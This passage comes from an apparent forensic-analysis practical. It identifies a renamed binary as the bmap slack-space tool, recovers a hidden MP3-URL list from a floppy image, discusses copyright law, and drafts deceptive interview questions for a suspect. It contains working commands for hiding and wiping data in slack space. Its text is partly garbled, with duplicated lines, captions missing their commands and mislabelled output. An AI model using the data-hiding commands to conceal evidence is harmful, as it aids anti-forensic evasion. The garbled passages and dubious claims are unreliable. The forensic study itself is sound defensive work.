<td>The only file accessed by the data retrieval mode of <em>prog</em> is that of the target file and the raw disk device. Here it uses <em>lstat</em> commands to calculate offsets based on <em>stat</em> data, using these data to read directly from the raw disk device. Neither file is modified during execution of this mode.</td>
</tr>
<tr>
<td><strong>--mode=m</strong></td>
<td>List sector numbers</td>
<td>This mode uses the <em>stat</em> system calls to determine the block numbers with the associated blocks. No modification to other files is made by invoking <em>prog</em> in this mode.</td>
</tr>
<tr>
<td><strong>--mode=p</strong></td>
<td>Place data in slack space</td>
<td>Here we actively write to the raw disk based upon the offsets calculated by <em>prog</em> during it’s <em>lstat64</em> system calls. Modification to the filesystem slack space occurs during invocation of this mode, yet no modifications to the file associated with the affected block is made.</td>
</tr>
<tr>
<td><strong>--mode=sb</strong></td>
<td>Print number of slack space bytes available</td>
<td>This mode uses the <em>stat</em> system calls to determine the block numbers of the associated blocks. No modifications or writes are made during this invocation mode.</td>
</tr>
<tr>
<td><strong>--mode=checkfrag</strong></td>
<td>test for fragmentation</td>
<td>Again, both the target file and the raw disk device are accessed via system calls to determine the existence of incontiguous blocks, or disk fragmentation.</td>
</tr>
<tr>
<td><strong>--mode=chk</strong></td>
<td>Test for availability of slack space</td>
<td>This mode attempts to read the target file stats and raw disk device to determine the existence of slack space in the last block dedicated to holding the file data.</td>
</tr>
<tr>
<td><strong>--mode=wipe</strong></td>
<td>Deletes and erases content of slack space</td>
<td>This mode accesses both the target file and the raw disk device to determine an offset to write ‘0x00’, ‘0xff’, and ‘0x00’ characters to specified slack space.</td>
</tr>
</tbody>
</table>
Affects on filesystem by execution of prog

The prog utility can modify bytes on the slack space of Ext2 file-system blocks via invocation of the ‘Place Data,’ or “Wipe Data’ mode. Arbitrary data can be written to slack space with the ‘Place Data’ mode, while the wipe mode securely erases slack space data and sets it to null characters.

prog’s interaction with system files

No interaction with system files from the prog executable was noted during any of the 7 invocation modes.

Further information in prog that could be extracted for information

Via invocation of prog with help mode, or by writing a man page using the utility, we can see that the program author apparently goes by the name ‘newt’, and is presumably from Brazil (as listed in the generated man page).

Program Identification

Locating bmap from the Internet

Bmap version 1.0.20 is easily found via google using the search string “bmap 1.0.20”
Compiling bmap

Bmap 1.0.20 was downloaded from the home website as shown above. The following shell operations were used to prepare it for testing against the prog executable:

```
<table>
<thead>
<tr>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>df016d23d5966826fe6bad9d0a65cdd6 bmap-1.0.20.tar.gz</td>
</tr>
<tr>
<td>bmap-1.0.20/COPYING</td>
</tr>
<tr>
<td>bmap-1.0.20/LICENSE</td>
</tr>
<tr>
<td>bmap-1.0.20/Makefile</td>
</tr>
<tr>
<td>bmap-1.0.20/README</td>
</tr>
<tr>
<td>bmap-1.0.20/bclump.c</td>
</tr>
<tr>
<td>bmap-1.0.20/bmap.c</td>
</tr>
<tr>
<td>bmap-1.0.20/bmap.sgml.m4</td>
</tr>
<tr>
<td>bmap-1.0.20/bmap.spec</td>
</tr>
<tr>
<td>bmap-1.0.20/dev_builder.c</td>
</tr>
<tr>
<td>bmap-1.0.20/include/bmap.h</td>
</tr>
<tr>
<td>bmap-1.0.20/include/slacker.h</td>
</tr>
<tr>
<td>bmap-1.0.20/index.html</td>
</tr>
<tr>
<td>bmap-1.0.20/libbmap.c</td>
</tr>
<tr>
<td>bmap-1.0.20/man/man2/libbmap.2</td>
</tr>
<tr>
<td>bmap-1.0.20/mft/COPYING</td>
</tr>
<tr>
<td>bmap-1.0.20/mft/Makefile</td>
</tr>
<tr>
<td>bmap-1.0.20/mft/README</td>
</tr>
</tbody>
</table>
```

Uncompress the archive and compare md5sum of the .tar.gz archive with value listed on author’s download site.
We compile bmap itself.

```
bmap-1.0.20/mft/helper.c
bmap-1.0.20/mft/include/helper.h
bmap-1.0.20/mft/include/info.h
bmap-1.0.20/mft/include/log.h
bmap-1.0.20/mft/include/mft.h
bmap-1.0.20/mft/include/option.h
bmap-1.0.20/mft/log.c
bmap-1.0.20/mft/option.c
bmap-1.0.20/slacker-modules.c
```

Next, we make the mft libraries.

```
[forensics@GCFA bmap-1.0.20]$ make mft
if ! [-n mft ]; then make - C mft ; fi
make[1]: Entering directory `/mnt/drive/GCFA/bmap/bmap-1.0.20/mft'
make[1]: Entering directory `/mnt/drive/GCFA/bmap/bmap-1.0.20/mft'
```

```
[forensics@GCFA bmap-1.0.20]$ cd bmap-1.0.20
Edit the Makefile and change so that executables will be statically linked instead of dynamically linked. By being statically linked, the executables will have all necessary libraries internally packaged as the prog executable is configured as seen via the file command.
```

```
[forensics@GCFA bmap-1.0.20]$ vi Makefile
<<changed line:
LDFLAGS = -L$(MFT_LIB_DIR) -lmft
To
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static-libgcc -static
>>
```

```
[forensics@GCFA bmap-1.0.20]$ make config.h
Via review of the makefile, we determine that we must make a config.h file first.
```

```
[forensics@GCFA bmap-1.0.20]$ make dev_builder
Next, we make the dev_builder program
```

```
[forensics@GCFA bmap-1.0.20]$ make bmap
Next we compile bmap itself.
```
Differences between bmap and prog

We can further substantiate the assumption that 'prog' is really bmap by downloading the most recent copy of bmap and searching printable character sequences in the 'prog' executable for some of the strings identified in the bmap source code:

```
[forensics@GCFA bmap-1.0.20]# echo "this is a small file" > small_data_file
Here we create a trivial file to test the bmap's functionality upon
```

```
[forensics@GCFA bmap-1.0.20]# ./bmap --help
bmap:1.0.20 (01/07/04) newt@scyld.com
Usage: bmap [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
version display version and exit
help display options and exit
man generate man page and exit
sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
map list sector numbers
carve extract a copy from the raw device
slack display data in slack space
putslack place data into slack
wipeslack wipe slack
checkslack test for slack (returns 0 if file has slack)
slackbytes print number of slack bytes available
wipe wipe the file from the raw device
frag display fragmentation information for the file
checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
--verbose be very ...
--log-thresh <none | fatal | error | info | branch | progress | entryexit> logging threshold ...
--target <filename> operate on ...
```

```
[forensics@GCFA bmap-1.0.20]# ./bmap --help
Here we get a snapshot of compiled bmap's response to a help mode invocation.
```

```
Next we need to strip bmap of its internal function labels. This is accomplished with the Linux strip command.

Afterwards, the size of the stripped, statically linked file is still slightly larger than the prog executable.

```
[forensics@GCFA bmap-1.0.20]# file bmap
bmap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, statically linked, stripped
Here we verify that the file output is identical to that of prog's.
```
Here we use `bmap` to write a hidden message to the slack space on the block containing our trivial test file.

We notice that the syntax from `prog` is slightly more verbose. This undoubtedly represents a difference between `prog` and `bmap`.

Here we check the sb functionality of `bmap`, the results appear correct. Syntax differences between `bmap` and `prog` are again noted.

Here we recover the hidden text from the slack space of the block containing the trivial test data file.

Here we test the wipe ability of the `bmap` utility. We note that 3 'write error' messages are again written to STDERR. Syntax differences between `bmap` and `prog` are again noted.

Here we see that the wipe method was successful with `bmap`, despite the 'write error' messages identified above.

### MD5 Hash Comparison

The following table represents differences between the `prog` executable and the statically linked, stripped, compiled `bmap 1.0.20` downloaded from the `bmap` home website:

<table>
<thead>
<tr>
<th>Property</th>
<th>Prog</th>
<th>Bmap 1.0.20</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5sum</td>
<td>7bb8d9af486 c6aa6a3efa63cc56880</td>
<td>a43b4737b46b220 b119c50651143b844</td>
</tr>
<tr>
<td>File Size</td>
<td>487476 bytes</td>
<td>546116 bytes</td>
</tr>
<tr>
<td>file command output</td>
<td>prog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped</td>
<td>bmap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped</td>
</tr>
</tbody>
</table>
Numerous differences could contribute to inconsistent file size and MD5sum returned by `ls` and `md5sum` applications, respectively. The following analysis describes the differences in the help output between `prog` and `bmap`.

```
[forensics@GCFA floppy_image2]# ./prog --help>/tmp/prog.help

[forensics@GCFA floppy_image2]# ./bmap --help>/tmp/bmap.help
```

The above analysis shows that the `prog` executable and the `bmap` utility differ by at least their help outputs, in addition to a difference in their name. Another reason contributing to the difference in the MD5sums could be difference in the linked dynamic libraries. It is likely that different versions of glibc may have been used to statically link the `prog` executable and the `bmap` utility.

**Full Description of research process determining that prog=bmap**

This process is described above in the section entitled: “What is the true name of the `prog` executable?.”

**Legal Implications**

**Proving that the prog binary was executed**

To prove that the `prog` executable was indeed executed, we must confirm the following:
Evidence of **prog** output exist on the seized floppy:

Having detected content in the slack space of the blocks allocated to the /Docs/Sound-HOWTO-html.tar.gz file related to the potential distribution of copyrighted material, the evidence is strong that John Price had used the **prog** binary at least once with the data placement invocation mode.

```bash
[forensics@GCFA tmp]# ./prog --mode=p Sound-HOWTO-html.tar.gz < hidden_data.gz
```

The **bmap** executable documentation, which we have proven to be the effective same utility as the **prog** executable, accurately states that very few applications have access to read or write to/from filesystem slack space. Since we cannot know whether the data content written to slack space was performed via use of the **prog** executable, we can only suspect that the **prog** executable was likely used. It is possible that some other tool was used to write data to slack space, albeit improbable.

**Prog** metadata access/creation/modification time and permission details correlate to **prog** output

As previously performed, we can get many relevant metadata details by using the **stat** command on the file within the noexec(program execution not permitted),noatime(file access time modification not permitted) mounted floppy filesystem, which ensure that we did not perturb the state of the data since evidence seizure.

```bash
[root@GCFA floppy_image]# stat ./prog
```

Based on the results of the stat command, we can see from the metadata that the file permissions for the file user, the file group, and all others have been set to allow for execution. Unfortunately, access, modify, and change times can be updated via use of the **touch** Unix command, so it is possible that John Price could have executed the **prog** utility, which would have updated it’s access time, and then later used the **touch** command to modify the access time to some other time.

Another issue is that because the data stored in slack space was not part of the file-system, it did not have any associated meta-data. Thus, we cannot correlate the metadata times of the hidden slack space file with the execution times of the **prog** executable, because no such metadata times exist.
In conclusion, it is impossible to know for sure based upon the limited evidence observed on the floppy image whether or not John Price used the prog executable to write the case-relevant data content to the slack space of the ./Docs/Sound-HOWTO-html.tar.gz file, although it is highly probable for the following reasons:

- As very few tools can write directly to slack space, it is very likely that prog was the tool used to write data to the slack space on the floppy.
- The content of the slack space is directly relevant to the case, and provides further information implicating John Price in the alleged distribution of copyrighted material.

**Laws violated by bmap**

No laws were violated by the use of bmap to store URL’s in the slack space on the floppy. Even if it could be proven that it was indeed John Price who used the prog executable to write to floppy slack space, the contents of the file by itself does not violate any United States laws.

To fully understand whether any laws were violated by use of the prog executable, it would be necessary to investigate all of the slack space on all of the hard-drives on all of the systems in which John Price was known to have or was suspected to have access. The extent of this investigation only covers the slack space contained within the analyzed evidence (the floppy image), and with respect to this, no laws were broken.

Had we have found copyrighted material within the contents of the floppy image slack space, or if we were to find copyrighted material in the contents of slack space on other systems, then the laws covering copyright infringement would apply. As the suspected activity happened within the United States, the actions taken by John Price would be subject to United States Laws.

Copyright Law, and the laws that cover copyright infringements is contained within Title17 of U.S. Code, were recently amended with the 1976 Copyright Act which provides to the owner of the copyright exclusive permissions in copyrighted material reproduction, preparation of derivative works, distribution of copies of the material, or display of the copyrighted material to the public.

If John Price had have used the prog executable to distribute copyrighted material, he would have been in violation of copyright law and would be subject to 17 U.S.C Section 501, which covers infringement of copyright.

**Penalties for using bmap**

As no laws were broken by use of the prog executable with respect to the floppy image acquired during seizure, no penalties or remediation would be required to damaged or affected parties.
Had John Price have used the prog executable on the floppy or on other systems to distribute copyrighted materials for profit, he would be subject to the remedies provided in 17 U.S.C Section 504 subsection (b)\textsuperscript{13}, which entitles the copyright owners to recover the damages suffered by them as a result of the infringement as well as any profits made by the infringer that are attributable to the infringement.

**Violation to corporate policy**

A robust corporate information security policy should, at the least, prohibit activities that violate state and federal laws. Beyond this, policies should be in place that limit user’s privileges and access to that granted and imposed by site system administrators.

If through the course of further investigation that John Price did indeed use the prog utility as a means of distributing copyrighted material, then such actions would also be a violation of corporate policy, and should result in disciplinary action or termination of employment, or remediation set my corporate policy authors and corporate management. *It is critical that these policies be in place prior to invocation in a situation such as this.*

If it could be proven by subsequent investigation that John Price did indeed use the prog executable to write to the slack space in the floppy, then a policy would need to exist preventing employees from using company computing resources outside of the privileges specified by the site system administrator. In this case, the floppy’s file-system would have to be considered the limit of the privilege set by the system administrator. Complications could arise here, especially if the floppy was the personal property of John Price. Given the fact that he has denied ownership of the floppy, it can likely be considered an asset of the company since it was seized on company property.

**Interview Questions**

*Questions for person John Price to prove he owned/ran file*

Question 1
Strategy: Portray ignorance and doubt in an attempt at getting John Price to volunteer information or present a useful response:

Question: John, I’m wondering whether our auditors have mis-read the entire situation, we’ve had our people take a look at the the floppy, but they couldn’t identify anything out of the ordinary so we really don’t think the program was used illegitimately, was it just the case that you used the binary to perform your job function? If so, then this can probably be resolved relatively quickly.

Question 2
Strategy: Get John to admit to a lesser charge of simply owning the floppy by getting him to infer that his use of netcat was somehow legitimate. If John responses
affirmatively that he does not have appropriate tools for his job, he'll indirectly be accepting responsibility for having been interested in netcat, providing information linking him to the ownership of the floppy.

Question: John, we found this disk in your personal system and noticed that it contained installation packages for netcat. We can probably wrap this whole thing up fairly quickly if we can just bottom out on what the site system administrators need to do in order to prevent the users from having to utilize such rudimentary software like netcat to get their jobs done. Do you have any input? We need to give management something to give them a sense of closure.

Question 3
Strategy: Question the tactics that John may have employed in trying to cover up his actions. If he admits to renaming the file, we can infer from the program makefile that he also compiled the program, since simply renaming it would not change the ‘prog’ listed at the top of the ‘—help’ invocation.

Question: John, so the auditors took a look at the floppy and noticed that the bmap executable was renamed to prog, was this just a mistake or was this intentional? They think that you were up to no good when you renamed the file from bmap to prog, however, it seems to me that you probably just chose the first thing that came to mind when you renamed it. Can you help us give them something to address their concerns and get this issue resolved?

Question 4
Strategy: Get John Price’s perception on the nature of the situation.

Question: John, we’ve checked out the floppy and honestly can’t see that anything illegal was done that justifies your suspension. Perhaps the unfortunate coincidence of your hard-drive crash along with unfounded suspicions based upon seizure of the floppy has made a mountain out of a mole-hill. If we can just determine who owned the floppy, we’d go a long way towards getting this whole thing behind us. Can you help us out here?

Question 5
Strategy: Present John Price with an apparent ‘way-out’ by offering him the opportunity to claim that we’ve merely just uncovered what appears to be personal data

Question: John, we contacted Mike about the Mikemsg.doc file and he had no idea about it; can you give us some more information about whether this was simply a personal message or whether it had to do with company business?
Case Information

Details for Floppy analysis, evidence found?

Floppy Slack Space Data Content Analysis
Naturally the next step that comes to mind for analysis is to examine the slack space on the fl-160703-jp1.dd image. We will recursively investigate each directory under the root directory of the fl-160703-jp1.dd image, investigating the slack space content of all blocks associated with files in the root directory and subdirectories. As quoted earlier in the description of bmap, few tools have access to file slack space, thus we are limited in what tools can present this data to us. We elect to use prog itself to study the slack space of the fl-160703-jp1.dd image.

```bash
[forenstics@GFCF Johns] cd Johns/; ls -l
total 42
-rwxr-xr-x 1 502 502 19088 Jan 28 2003 sector-gif
-rwxr-xr-x 1 502 502 20680 Jan 28 2003 sectors.gif
[forenstics@GFCF Johns] for file in `ls -l *`; do echo $file;
/tmp/prog --mode=s $file; echo; echo; done
sect-num.gif
getting from block 367
file size was: 19088
slack size: 368
block size: 1024

sectors.gif
getting from block 389
file size was: 20680
slack size: 824
block size: 1024
```

Based on knowledge of the programs return values, it is apparent that neither the sect-num.gif nor sectors.gif files seem to have data contained within their respective slack spaces.

```bash
[forenstics@GFCF floppy_image2] cd ../May03/; ls -l
total 15
-rwxr-xr-x 1 502 502 13487 Jul 14 07:12 ebay300.jpg
[forenstics@GFCF May03] for file in `ls -l *`; do echo $file;
/tmp/prog --mode=s $file; echo; echo; done
sect-num.gif
getting from block 404
file size was: 13487
slack size: 849
block size: 1024
```

We change directory into the Johns directory and list its contents to refresh us on it’s contents. We then employ Unix shell scripting to iteratively display the slack space of each file in the Johns directory. Based upon observation of this command, it does not appear that...
DVD-Playing-HOWTO-html.tar
getting from block 277
file size was: 29184
slack size: 512
block size: 1024

hidden
getting from block 816
file size was: 185
slack size: 839
block size: 1024

Kernel-HOWTO-html.tar.gz
getting from block 129
file size was: 27450
slack size: 218
block size: 1024

Letter.doc
getting from block 74
file size was: 29696
slack size: 0
block size: 1024

Mikemsg.doc
getting from block 94
file size was: 19456
slack size: 0
block size: 1024

MP3-HOWTO-html.tar.gz
getting from block 162
file size was: 32661
slack size: 107
block size: 1024

Sound-HOWTO-html.tar.gz
getting from block 190
file size was: 26843
slack size: 805
block size: 1024

| [forensics@GCFA Docs] # /tmp/prog --mode=s Sound-HOWTO-html.tar.gz > /tmp/hidden_data |
| getting from block 190 |
| file size was: 26843 |
| slack size: 805 |
| block size: 1024 |

We redirect the contents of slack space to a file.

| [forensics@GCFA Docs] # ls -l /tmp/hidden_data |
| -rw-r--r-- 1 root root 805 Jan 7 03:48 /tmp/hidden_data |

We consider the size of the file. As expected, it falls between 1 byte and 4095 byte.

Next we run the file command to understand what kind of file it is.

| [forensics@GCFA Docs] # file /tmp/hidden_data |
| /tmp/hidden_data: gzip compressed data, was "downloads", from Unix |

We unzip the file.

| [forensics@GCFA Docs] # mv /tmp/hidden_data /tmp/hidden_data.gz; gunzip /tmp/hidden_data.gz |

We consider the size of the file. As expected, it falls between 1 byte and 4095 byte.

Next we run the file command to understand what kind of file it is.

| [forensics@GCFA Docs] # file /tmp/hidden_data |
| /tmp/hidden_data: gzip compressed data, was "downloads", from Unix |
The result of the above analysis highlights a list of ‘ripped MP3’s, and lists what appear to be URL’s (Uniform Resource Locators) of ripped MP3 sources. Each DNS (Domain Name System) name was queried to the DNS system, although only the last of the 4 names resolved to an IP address. This URL was queried with a web-browser, but no useful information leading was found. Due to the common nature of the DNS name ‘ripped.net,’ it appears that the DNS squatters have incorporated this name into their trap to snare customers. As analysis of the disk image has occurred ~6 months after it was seized, it is reasonable to assume that these URL’s and DNS names have changed over time.

**Floppy File Data Content Analysis**

Our next step of analysis will be to consider the nature of each of the files contained in the floppy disk file system.

<table>
<thead>
<tr>
<th>[forensics@GCFA floppy_image]# ls -alR</th>
</tr>
</thead>
<tbody>
<tr>
<td>:</td>
</tr>
<tr>
<td>total 557</td>
</tr>
<tr>
<td>drwxr-x-x 6 root root 1024 Jul 15 23:03 ..</td>
</tr>
<tr>
<td>drwxr-x-x 5 root root 1024 Jan 5 12:44 ..</td>
</tr>
<tr>
<td>-rw-r--r-- 1 root root 2592 Jul 14 07:13 .-.5456g.tmp</td>
</tr>
<tr>
<td>drwxr-x-x 2 502 502 1024 Jul 14 07:22 Docs</td>
</tr>
<tr>
<td>drwxr-x-x 2 502 502 1024 Feb 3 2003 John</td>
</tr>
<tr>
<td>drwx----- 2 root root 12288 Jul 14 07:08 lost+found</td>
</tr>
<tr>
<td>drwxr-x-x 2 502 502 1024 May 3 2003 May03</td>
</tr>
<tr>
<td>-rw-r-x-x 1 502 502 56950 Jul 14 07:12 nc-1.10-16.1386.rpm..rpm</td>
</tr>
<tr>
<td>-rw-r-x-x 1 502 502 487476 Jul 14 07:24 prog</td>
</tr>
</tbody>
</table>

We recursively list the contents of the floppy image.
From the above listing, we have identified each file requiring investigation.

<table>
<thead>
<tr>
<th>File Path (relative to floppy root directory)</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>./Docs</td>
<td>This directory name appears to have been generically selected. Although it contains miscellaneous files, including the hidden file nested in the slack space of blocks associated with the Sound-HOWTO-html.tar.gz file, it’s name doesn’t seem exceptionally descriptive. This file may have been intentionally generically named to throw off anyone not meant to have the floppy, but probably just means it was named with the first thing that came to mind.</td>
</tr>
<tr>
<td>./John</td>
<td>This directory contains 2 images that appear to describe hard-disk concepts. By itself, nothing seems suspicious about the directory name, other than the fact that it may have been intended to signify ownership of the included files.</td>
</tr>
<tr>
<td>./lost+found</td>
<td>This directory is automatically created by the ext2 filesystem creation program during file-system creation. It exists to serve as a place for files associated with file-system inconsistencies to be deposited during file-system maintenance activities. As it is empty, it contributes no value to the investigation.</td>
</tr>
</tbody>
</table>
This directory contains one image and denotes what appears to be a naming convention specifying dates. The metadata associated with this file also indicate that it was created on May 3rd, 2003. This may be indicative of an attempt by John to proceduralize some data retrieval/analysis steps based upon a chronological schedule.

This appears to be a RedHat Linux based RPM (Redhat package manager) install file for the netcat utility, which is a low level 'swiss army knife (see netcat README file) developed to attach STDIN and STDOUT file descriptors between machines. This utility can be used to transfer any information content between any machines in a large number of ways. While it is not itself suspicious, it indicates that John may have been interested in using netcat to clandestinely communicate between systems.

The following information was used by the rpm utility in investigating the netcat rpm file:

```
[forensics@GCFA floppy_image]$ rpm -qpl nc-1.10-16.i386.rpm..rpm
/usr/bin/nc
/usr/share/doc/nc-1.10/Changelog
/usr/share/doc/nc-1.10/README
/usr/share/doc/nc-1.10/scripts/README
/usr/share/doc/nc-1.10/scripts/alta
/usr/share/doc/nc-1.10/scripts/bsh
/usr/share/doc/nc-1.10/scripts/dist.sh
/usr/share/doc/nc-1.10/scripts/irc
/usr/share/doc/nc-1.10/scripts/iscan
/usr/share/doc/nc-1.10/scripts/ncp
/usr/share/doc/nc-1.10/scripts/probe
/usr/share/doc/nc-1.10/scripts/web
/usr/share/doc/nc-1.10/scripts/webproxy
/usr/share/doc/nc-1.10/scripts/webrelay
/usr/share/doc/nc-1.10/scripts/websearch
/usr/share/doc/nc-1.10/scripts/webrelay
/usr/share/doc/nc-1.10/scripts/websearch
```

```
[forensics@GCFA floppy_image]$ rpm -qpi nc-1.10-16.i386.rpm..rpm
Name        : nc
Relocations: (not relocateable)
Version     : 1.10
Vendor: Red Hat, Inc.
Release     : 16
Build Date: Tue 23 Jul 2002 09:47:55 AM MST
Install Date: (not installed)
Build Host: astest
Group       : Applications/Internet
Source RPM: nc-1.10-16.src.rpm
Size        : 114474
License: GPL
Signature   : DSA/SHA1, Tue 03 Sep 2002 02:30:55 PM MST, Key ID 219180cddb42a60e
Summary     : Reads and writes data across network connections using TCP or UDP.
Description : The nc package contains Netcat (the program is
```

The nc package contains Netcat (the program is
actually nc), a simple utility for reading and writing data across network connections, using the TCP or UDP protocols. Netcat is intended to be a reliable back-end tool which can be used directly or driven by other programs and scripts. Netcat is also a feature-rich network debugging and exploration tool, since it can create many different connections and has many built-in capabilities.

This is the unknown binary that is comprehensively discussed in previous sections of the analysis.

This file appears to be publicly available documentation on DVD usage for Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in DVD usage, and possibly distribution using Linux.

This file appears to be publicly available documentation on kernel modifications for Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in kernel modification on Linux.

This appears to be a generic letter template. No suspicious finding resulted in investigation of this file.

Contains the following text:

‘Hey Mike,

‘I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).

I have some advance orders for the next run. Call me soon.

JP’

This suggests that John Price may have been involved in trafficking music files such as MP3’s.

This file appears to be publicly available documentation on mp3 usage on Linux. While there is nothing suspicious in itself about this file, it supports the contention that John Price was interested in MP3 usage on Linux.

As previously analyzed, this file utilized a block that contained hidden slack space data.
What evidence (if any) suggests JP was using corporate resources to distribute copyrighted material?

A thorough analysis of the data content of each of the files on the floppy, along with the data recovered from floppy slack space, along with the conditions of the data seizure
situation can all be assimilated to create a picture of evidence supporting the assertion that John Price may have used company systems to illegally copyrighted material.

Supporting evidence from the floppy data content analysis:

One significant source of evidence from the floppy data content analysis implicated JP in distribution of copyrighted material. It is the content of the ./Docs/Mikemsg.doc file. This message supports the suspicion that John Price was distributing copyrighted material. Specifically, it appears that JP intended humor in reference to the term: ‘rock-n-roll.’ Presumably this is a pun. In the context of the message, JP uses the term Rock-n-Roll to signify that he has received batches of files and is ready to make use of them. The irony that John appears to be portraying could be attributed to the fact that ‘Rock-n-Roll’ is also indicative of a musical genre. This humor would make sense assuming that John intended to distribute copyrighted music of the rock-n-roll genre.

Another source of evidence that John was distributing copyrighted material is the implication from the./John/ebay300.jpg file that John was using or had used Ebay. Ebay is widely known for facilitating the connection between buyers and sellers for an astounding wide variety of goods - Many of which have found to be of questionable or illegal content. Empirical evidence supports the possibility that the ‘advance order’s referred to in ./Docs/Mikemsg.doc may have been a reference by JP to orders taken Ebay for copies of copyrighted material.

Supporting evidence from the floppy slack space data content analysis:

The only source of information retrieved from the slack space of the floppy image was a list of 4 URL’s. The title of these URL’s: “Ripped MP3s – Latest releases:” suggests that JP was retrieving mp3 audio files ripped (copied from CD media) over the Internet. The end of the text file contains the phrase: “***NOT FOR DISTRIBUTION***” This phrase suggests that the creator did not intend that the list of MP3 sources should be publicly shared. Further evidence exists in the fact that this data was hidden in the first place. Did John have contacts with people associated with these websites?

Supporting evidence from the conditions of data seizure:

Prior to evidence seizure, John Price apparently wiped the data from the hard disk on his company issued computer system. While circumstantial, this effort suggests that he wanted to deny authorities from analyzing the content of his system. Another interesting insight is that John did not merely delete all of the files from his computer. Having done so would have de-allocated the blocks and inodes associated with the data content, but would have left the data content and the slack space of the disk available for forensic recovery. Having gone to the trouble of wiping the data from the disk, JP ensured that forensic analysts would be unable to retrieve information via conventional data recovery means.
The contention that JP had access to other computers, along with the fact that he had a portable floppy disk containing a statically linked copy of \texttt{bmap} 1.0.20, suggests that he may have used the slack space on these systems to store data related to the alleged distribution of copyrighted materials.

Summary of supporting evidence suggesting JP used corporate systems to distribute copyrighted material.

While circumstantial, the data recovered from the content of the floppy and the slack space of the floppy, along with the circumstances of the situation and the data seizure alone cannot offer compelling evidence that JP absolutely used company systems to distribute copyrighted material.

We suggest these next analysis steps to build a case proving beyond a reasonable doubt that JP used company systems to distribute copyrighted material:

- Analyze the contents of slack space and files on systems in which John Price may have had access.
- Contact and question owners of the systems identified in the URL’s listed that were embedded in the contents of the file hidden in slack space on the floppy.
- Work with Law enforcement to contact E-bay Corporation to request records regarding John Price’s usage of their system. Identify and analyze any transactions made or material advertised.
- Pursue possible non-conventional means of disk recovery on John Price’s wiped company-issued computer hard-disk. Statistical Mass-spectrometry-based techniques may exist that could retrieve portions of the wiped disk, depending on whether JP wiped the disk with an insufficiently redundant number of wipes (The NSA considers 7 wipe iterations an acceptable amount that would render unconventional data recovery methods ineffective). This method is known to be expensive and may not be justified considering the severity of the possible crime.

\textbf{Advice for System Administrators for detecting bmap usage}

\begin{verbatim}
[forensics@GCFA floppy_image]$ find . -exec /usr/bin/bmap --mode=chk {} \; 2>&1 |grep has
./Docs/Sound-HOWTO-html.tar.gz has slack
[forensics@GCFA floppy_image]$
\end{verbatim}

The \texttt{find} command can be used to execute \texttt{bmap} to monitor slack space content and alert only if successful as it recourses through a directory tree specified on the command line.

\begin{verbatim}
[forensics@GCFA floppy_image]$ find /mnt/drive/GCFA/floppy/ -exec /tmp/prog --mode=chk {} \; 2>&1 |grep has
/mnt/drive/GCFA/floppy/data_file has slack
/mnt/drive/GCFA/floppy/short_file has slack
/mnt/drive/GCFA/floppy/data has slack
[forensics@GCFA floppy_image]$
\end{verbatim}

Another example of a search on our analysis directories.

Based upon the results of the slack content search, the system administrator should use contact the incident handling team for further investigation.
If the `bmap` script used above where statically linked, it could be placed upon a floppy and transferred from system to system for verification, or be executed remotely over a network via the use of SSH.

It should be noted that this request should be considered carefully for production systems. Even though `bmap` is only reading data during invocation of the `chk` functionality, system administrators should be warned that `bmap` interacts directly with the disk image file, not constrained by the safety features associated with accessing disk-space via a much safer file-system interface. Management should resolve any priority challenges weighing business productivity and case importance.

**Additional Information**

**Appendix A: Full zip archive information from `zipinfo -v` command**

```bash
[forensics@GCFA analysis_directory]# zipinfo -v binary_v1_4.zip
Archive: binary_v1_4.zip   459502 bytes  3 files

End-of-central-directory record:
--------------------------------

  Actual offset of end-of-central-dir record:  459460 (000702C4h)
  Expected offset of end-of-central-dir record:  459460 (000702C4h)
    (based on the length of the central directory and its expected offset)

This zipfile constitutes the sole disk of a single-part archive; its central directory contains 3 entries. The central directory is 227 (000000E3h) bytes long, and its (expected) offset in bytes from the beginning of the zipfile is 459233 (000701E1h).

The zipfile comment is 20 bytes long and contains the following text:

```
======================== zipfile comment begins
==========================
GCFA binary analysis
======================== zipfile comment ends
==========================
```

Central directory entry #1:
---------------------------

```
fl-160703-jp1.dd.gz

offset of local header from start of archive:     0 (00000000h) bytes
file system or operating system of origin:        Unix
version of encoding software:                     2.3
minimum file system compatibility required:       MS-DOS, OS/2 or NT FAT
minimum software version required to extract:     2.0
compression method:                               deflated
compression sub-type (deflation):                 normal
file security status:                             not encrypted
```
The central-directory extra field contains:
- A subfield with ID 0x5455 (universal time) and 5 data bytes.
  The local extra field has UTC/GMT modification/access times.
- A subfield with ID 0x7855 (Unix UID/GID) and 0 data bytes.

There is no file comment.

Central directory entry #2:
--------------------------

file last modified on (DOS date/time): 2003 Jul 15
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16

offset of local header from start of archive: 459007 (000700FFh) bytes
file system or operating system of origin: Unix
version of encoding software: 2.3
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 1.0
compression method: none (stored)
file security status: not encrypted
extended local header: no
file last modified on (DOS date/time): 2003 Jul 16
file last modified on (UT extra field modtime): 2003 Jul 16
(file last modified on (UT extra field modtime): 2003 Jul 16
(file last modified on (UT extra field modtime): 2003 Jul 16
(file last modified on (UT extra field modtime): 2003 Jul 16
(file last modified on (UT extra field modtime): 2003 Jul 16

32-bit CRC value (hex): 037deebe
compressed size: 458937 bytes
uncompressed size: 474162 bytes
